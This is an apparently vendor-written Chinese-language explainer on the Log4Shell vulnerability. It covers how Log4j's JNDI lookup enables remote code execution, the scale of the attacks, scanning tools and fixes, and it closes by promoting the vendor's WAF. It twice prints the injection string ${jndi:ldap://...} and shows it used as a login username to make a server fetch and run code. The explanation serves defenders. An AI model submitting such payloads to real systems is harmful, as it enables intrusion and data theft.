各位是否有看過,在2021年末時,資安界爆發一則最大的新聞,那就是: Log4j 的漏洞。 Log4j 是 Apache 中廣泛被使用,而 Log4j 的漏洞被稱為 「編號 CVE-2021-44228」,又或是稱作大家所熟悉的 Log4Shell。
由於大企業受害的案例罄竹難書,甚至被一些人形容為 「核彈級漏洞」 ,可見這個漏洞的影響程度之深遠,而美國網路安全和基礎設施安全局局長 Jen Easterly 更稱 Log4Shell 是她職業生涯中見過的最嚴重的漏洞,且已經有數十萬甚至數百萬次駭客嘗試利用該漏洞進行攻擊。
這一篇我將帶各位講解 Log4j 的漏洞是怎麼發生的,以及身為個人及企業該如何解決,以下我會用比較白話的方式讓非技術背景的人也能理解。
Apache Log4j 是什麼?
Log4j 套件是隸屬於 Apache 軟體基金會底下,因此全名又叫做 Apache Log4j,它是一個用於記錄 Java 日誌 (log) 的實用程式。
Apache 底下有很多不同的軟體跟套件,例如說:
- Apache HTTP Server(大家最常看到的是這個)
- Apache Cassandra
- Apache Tomcat
- Apache Hadoop
- Apache Struts
- ...
但我們不多談述其他軟體,Log4j 才是今天的主角!
Apache Log4j Java 資料庫的作用是記錄有助於穩定應用程式運行的資料,監控正在發生的事情,並在發生錯誤時幫助調節過程。
詳細地來說,Log4j 是一個幫助程式設計師將日誌 (log) 語句輸出到各種輸出標的的工具,如果應用程式出現問題,啟用日誌記錄來查找問題會很有幫助,藉由一個條件表達式 ${some_expression} 來查尋某些字串並執行取代動作,Log4j 可查詢的內容包括 jndi、sys、env、java、lower、upper,且 log4j 組件的設計使得日誌語句可以保留在輸出的程式碼中,而不會產生過高的性能成本。
同時,日誌輸出量通常非常龐大,以至於很快就會變得無法處理。Apache log4j 的一個明顯特點是能夠分層記錄,使用此記錄器 (logger),可以選擇性地控制日誌語句輸出的細緻度。
身為非程式語言熟悉者來說,以上文句是不是一樣艱澀? 容我在此運用生活化的例子,來讓各位可以明白 log4j 的用途。
Log4j 為何成為核彈級漏洞?
說到 Log4j 就會想到監控,說到監控就會想到監視攝影機,人們經常使用監視攝影機來24小時記錄重要的地點及事物,比如社區大樓會在電梯、警衛室或各樓層的安全死角安裝監視器,以防陌生或可疑人士進入,進而做出危險的犯罪行為或偷竊。
Log4j 就是用來監控、記錄Java的工具。你可以把社區大樓當作是你的網站。而 log4j 就是攝影機的功能,拿來記錄 (log) 對於網站的那些請求 (request) 。請大家先幫我記住個別代表的比喻。
一直以來,大家在使用監視攝影機時都沒有出過什麼大問題,透過監控確實能預防安全危機,或是在發生問題時能夠回頭查找是否有可疑之處,但最近卻突然有人發現一個攝影機的特殊功能!
那這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。
舉例來說,這個圖片辨識功能需要把指令寫在 100×100 的板子上,一定要藍底白字加上嗨雲 Logo 及特定格式 像這個樣子:
${ Shutdown }
當攝影機看到上面的圖,並且符合特定格式,就執行了上面的指令:「關機」,它就真的關機了!這就意味著,不管你下什麼指令,甚至寫說「把攝影機資料全輸出」,那麼竊取機密資料也能夠輕易做到了,除此之外,攝影機本來就會即時連線到其他伺服器,而這個指令同時能對那些伺服器做操作,例如說把上面的資料全都偷光光等。
原文作者把以上監控攝影機比喻為 Log4j 的例子非常有趣。大家可以看看原始文章:從監視攝影機理解 Log4j 跟 Log4Shell 漏洞
假設說監視攝影機的漏洞被散佈出去,若全世界這麼多人使用這個型號的監視攝影機,當然會引起軒然大波,因為所有人只要讓攝影機拍到特定的東西就會執行指令,你想想看這還不嚴重嗎?
Log(日誌記錄)是什麼意思?
在理解這篇 Log4j 的全部含義前,你必須先知道 Log 是什麼東東? Log 的中文名又叫做日誌,它就是上述所說的比喻一樣,一台 24 小時全年無休的監視攝影機,擔起記錄重要事物的重責大任。
將來 IT 團隊及企業,若發生什麼狀況,都可以透過 Log 來查證,還原事情的真相!
Log就是系統界的柯南吧?
舉個例子,假設 A 公司經營網路遊戲,玩家可以在遊戲裡購買喜歡的武器或服裝,為了優化購買流程,公司會找做金流的廠商合作,在後端「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,系統把使用者導過去金流廠商的付款頁面,完成購買後再導回來遊戲」, 而在這個過程中,Log 的重要性就顯現出來,雙方都必須留下所有購買及導流的紀錄,確保未來發生問題時有證據可以輔助說明。
比如:究竟是付款失敗?還是從遊戲導入到付款頁面時失敗?這些都可以透過Log來進行查驗! 開發者都知道Log很重要,因此一定會嵌入這個功能,因此他是十分常見的。
這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。
Log4Shell 運作模式是如何?
Log4j 無所不在,多數使用Java的程式設計者都會同步使用 Apache Log4j,而 Log4Shell(編號 CVE-2021-44228)就是通過濫用 Log4j 中的一項功能來運作,該功能允許用戶指定自定義代碼來格式化日誌的紀錄。
例如,此功能允許 Log4j 不僅記錄與每次嘗試登錄伺服器相關聯的用戶名,還記錄此人的真實姓名。如果單獨的伺服器擁有連結用戶名和真實姓名的目錄,為此,Log4j 伺服器必須與持有真實姓名的伺服器進行通訊。
同樣的,我再用白話一點的方式說明,各位應該都知道,當開發者在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說 Python、JavaScript、PHP 或是 Java 等,而這些程式語言都會專門做 log 的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。
因此,Log4Shell 就是透過 Java 的 Log 套件 Log4j 而產生出來的漏洞,Log4j 不僅可以用於格式化日誌紀錄,Log4j 還允許第三方伺服器提交可以在目標主機上執行各種操作的軟體程式碼。
這項功能為惡意操作開啟一道大門,例如竊取敏感資料、控制目標系統以及將惡意內容傳遞給與受影響伺服器通訊的其他用戶。
Log4j 如何設置漏洞程式碼
只要 Log4j 在記錄 log 時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像上述提到的「關機」的模板一樣。
再講更詳細一點,當想要從遠端伺服器搜尋此資料,Log4j 會使用 Java 命名和目錄接口 JNDI 進行搜索。 而為何使用 JNDI 當作接口?是因為 JNDI 允許開發者使用各種服務和協定查找項目,包括 LDAP、DNS、Java 遠端調用 RMI 等。
所以,log4j 其實並不是直接執行程式碼,而是需要提交特定格式! 那一段特定格式長得像這樣:
${jndi:ldap://hicloud.com.tw/joke}
Log4Shell 攻擊方式:它要如何被觸發?
Log4j 透過提交特定格式來執行攻擊,如果你看不懂上面的特定格式沒關係,你可能有發現裡面那一串英文字母很像網址,沒錯!當 Log4j 記錄上面類似網址的字串時,它發現這串字符合特定格式,就會進入裡面的網址(hicloud.com.tw/joke)下載程式碼並且執行,因此這是一個 RCE(Remote Code Execution,遠端程式碼執行)漏洞。
讓我來舉個例子吧!前面有提到後端會記錄許多東西,假設今天有個後端服務是用 Java 寫的,而它用 Log4j 記錄了使用者登入失敗時輸入的帳號,此時我只要用
${jndi:ldap://hicloud.com.tw/joke}
這個帳號登入,就能夠觸發 Log4j 的漏洞,讓它執行我準備好的程式碼。
Log4Shell 之所以擴散範圍如此龐大,是因為使用 Log4Shell 相對簡單,這是一個安全研究人員的逆向工程框架,設置只需幾分鐘。且此漏洞的門檻非常低,這意味著更多有惡意的人都可以使用它。
除此之外,Log4j 還可以創建一個反向 shell,允許攻擊伺服器遠端控制目標伺服器,或者它們可以使目標伺服器成為殭屍網路的一部分,殭屍網路可以使用多台被劫持的主機或 IOT 設備替駭客執行攻擊。
Apache Log4j資安重大漏洞
Log4Shell 危害大,範圍廣,短時間難以徹底解決,被業內人士稱為「無處不在的[零日(0day)漏洞」。 根據資安廠商 Check Point 在2021年12月中發布的觀察分析結果來看,已出現大量尋找具有 Log4Shell 漏洞的系統的存取活動,累積次數超過430萬,而縱觀全球各地的企業內部網路環境當中,已有超過48%的比例,出現試圖濫用這個漏洞的行為。
若從各地區細分,他們表示,澳洲與紐西蘭、歐洲的內部網路,受此漏洞影響比例均超過50%,其次是南美洲、非洲,都逼近5成,北美洲與亞洲則低於全球平均(48.3%),但也有44%以上。
以產業而言,受此漏洞影響的多種領域內部網路比例,都超過一半,例如,教育與研究機構最高,逼近6成;其次是網路服務與代管服務業者,以及系統整合廠商、加值服務商、經銷商,都是57.4%;接著是金融與銀行,有53%受影響;至於政府與軍事單位,則是50.2%。
Apache Log4j 攻擊案例
Apache Log4j 攻擊案例遍佈各家知名網路服務商的伺服器,例如:微軟、Apple、Tesla、Google、騰訊、Steam 等。
Log4j 攻擊微軟事件
身兼系統、雲服務、資安等多重廠商身分的微軟,也有類似攻擊發現。他們表示,此類攻擊不只會趁機安裝挖礦程式,還會運用滲透測試軟體框架 Cobalt Strike 竊取帳號密碼、進行橫向移動,並且從受害系統中擷取資料。
惡意軟體透過 Log4j 的攻擊事件
哪些惡意軟體正利用 Log4j 漏洞執行攻擊呢? 比如:散播殭屍網路程式 Mirai 與挖礦程式 Kinsing,及另一家資安廠商 Bitdefender 也偵測到這類型網路威脅活動的現象,出現多種濫用Log4Shell漏洞的惡意軟體,像是:殭屍網路程式 Muhstik、挖礦程式 XMRIG、勒索軟體 Khonsari、木馬程式 Orcus 等。
執行Log4j漏洞的設備範圍
根據資安業者 Armis 在2021年12月26日的統計,執行 Log4j 漏洞的設備,有一半都是虛擬機器,其次是伺服器38%,合計就占了88%,但也有許多類型的設備也都被鎖定,像是個人電腦、手機、網路視訊攝影機、印表機、網路電話設備 (VoIP),甚至還有影像儲存通訊系統 (PACS)、SCADA伺 服器、HMI 控制面板,雖然比例很低,但由於Log4j 普及度高,很難說這些嵌入式設備未使用這個元件,若不幸內含,也難以修補。
如何檢查自身的設備及伺服器是否使用Log4j?
有許多軟體都用了 log4j 這個套件,因此被影響,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) - cheat-sheet reference guide,你看看這擴張範圍有多大?! 像是 Minecraft 這個遊戲的伺服器也有用到 log4j,所以也被這個漏洞給影響。
那企業要如何確認自己家的程式有沒有用到 log4j 這個套件以及套件的版本?除了需要一併檢查有沒有使用上面那張清單列出來的其他軟體之外,我今日告訴大家該如何做檢測?
如果你是工程師,可以用一些現有的工具檢測是否受到漏洞影響,像是:Log4j-scan 或是 jfrog 提供的 log4j-tools 等等。
Log4j 修補與預防方法
如果在檢測設備中發現有 Log4j 的蹤跡,你該如何補救呢? 以及如何在攻擊發生之前先做一系列的防禦動作呢? 以下步驟大家要好好記下來!
Log4j 及 Log4j2 的修補方式
1. 先到 Log4j-scan 及 Log4j2-scan 來檢測是否含有 Log4j 的漏洞
下載地址:
- https://github.com/fullhunt/log4j-scan
- https://github.com/logpresso/CVE-2021-44228-Scanner
- logpresso-log4j2-scan-3.0.1-linux.tar.gz 8.57 MB
- logpresso-log4j2-scan-3.0.1-win64.7z 7.42 MB
- logpresso-log4j2-scan-3.0.1-win64.zip 10.3 MB
- logpresso-log4j2-scan-3.0.1.jar 647 KB
順道提一下,Log4j2-scan 是由韓國 SIEM 廠商 LOGPRESSO 所開發的,這邊所使用的檢測方式與 CERT/CC 撰寫的有所不同,主要技巧一樣是以遞迴方式檢查資料夾底下的所有 jar 相關程式,解開後確認其中的 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 檔案,並確認版本號,但同時也會確認是否被修補過!
另外近期的 Log4j 相關的 CVE 通通都會幫你檢查,此外同時也能幫你做 mitigation,真的是非常非常優秀的工具!
2. 直接刪除 JNDILookup 的類別
Log4j2 中有各種外掛物件,Xml 在被解析過程當中,會將你所配置的各種元素名稱例項化為對應的外掛物件,然後與你所配置的(記錄器)Logger 進行關聯。 而此次出現重大漏洞問題的則是一個相對不太常用的外掛,名叫:JNDI Lookup,我們其實可以發現 JNDI Lookup 在Log4j 中其實是一種產品規格 (spec) 的存在。 所以我們可以參考官方文件:https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html
依照文件看來,多數人都會以為應該在XML設定檔中才能使用 JDNI Lookup 語法,結果不然。目前多數POC Code都使用 logger.error() 做為測試注入點使用,但理論上應該所有的紀錄函式皆可做為注入點使用,包含:logger.trace(), logger.debug(), logger.error(), logger.info(), logger.warn() 。
3. 升級Apache最新版本
Log4j 預防方法
1. 先行部署防火牆規則
瑞士 CERT 有發表的一篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j 其中給出一張從各個環節去防禦的圖:
在來不及把根本原因修掉前,大家可以先上 WAF (Web Application. Firewall),簡單來說就是針對網站漏洞的防火牆,把那些惡意的字串擋掉,例如說 CloudFlare 就在第一時間增加了 WAF 的規則加以阻擋,不過也有很多人在研究怎麼繞過 WAF 的規則,因此這是治標不治本的做法。
如果你還是不知道如何處理,嗨雲有防禦漏洞攻擊的解決方案,或是加入嗨雲的資安產品。 相關產品內容請至:嗨雲 WAF
2. 防火牆推薦:嗨雲 WAF 防禦網站漏洞的神器
嗨雲 WAF可以防止DDoS攻擊、注入式攻擊及各種漏洞,它應用在應用程式及網站上,針對漏洞和威脅建立強大的盾牌。
例如 :Log4j 漏洞、0day 漏洞、SQL 注入攻擊、XSS、XXE 漏洞、勒索病毒、機密資料暴露、暴力破解等,並且符合國際信用卡資料安全技術 PCI 標準,幫助企業隨時監控惡意流量的侵入及只允許有效用戶訪問網站,絕對是您預防駭客攻擊的好幫手!
結語
Apache Log4j 之所以被譽為「核彈級漏洞」,是因為它是一個廣泛使用的套件,結合了許多人經常使用的功能,再加上一種簡單易行的攻擊方式,使得漏洞可以迅速擴散,像是傳染力極強的病毒。
這段文字使用了淺顯易懂的比喻,目的是讓非 IT 人員能夠理解這個漏洞的危險性,雖然內容不一定能完全解釋漏洞的所有細節,但已經簡化了許多複雜的技術概念。
立即查看 HiYun 嗨雲 專業資安防護,了解更多資安事件和雲端產品的相關資訊!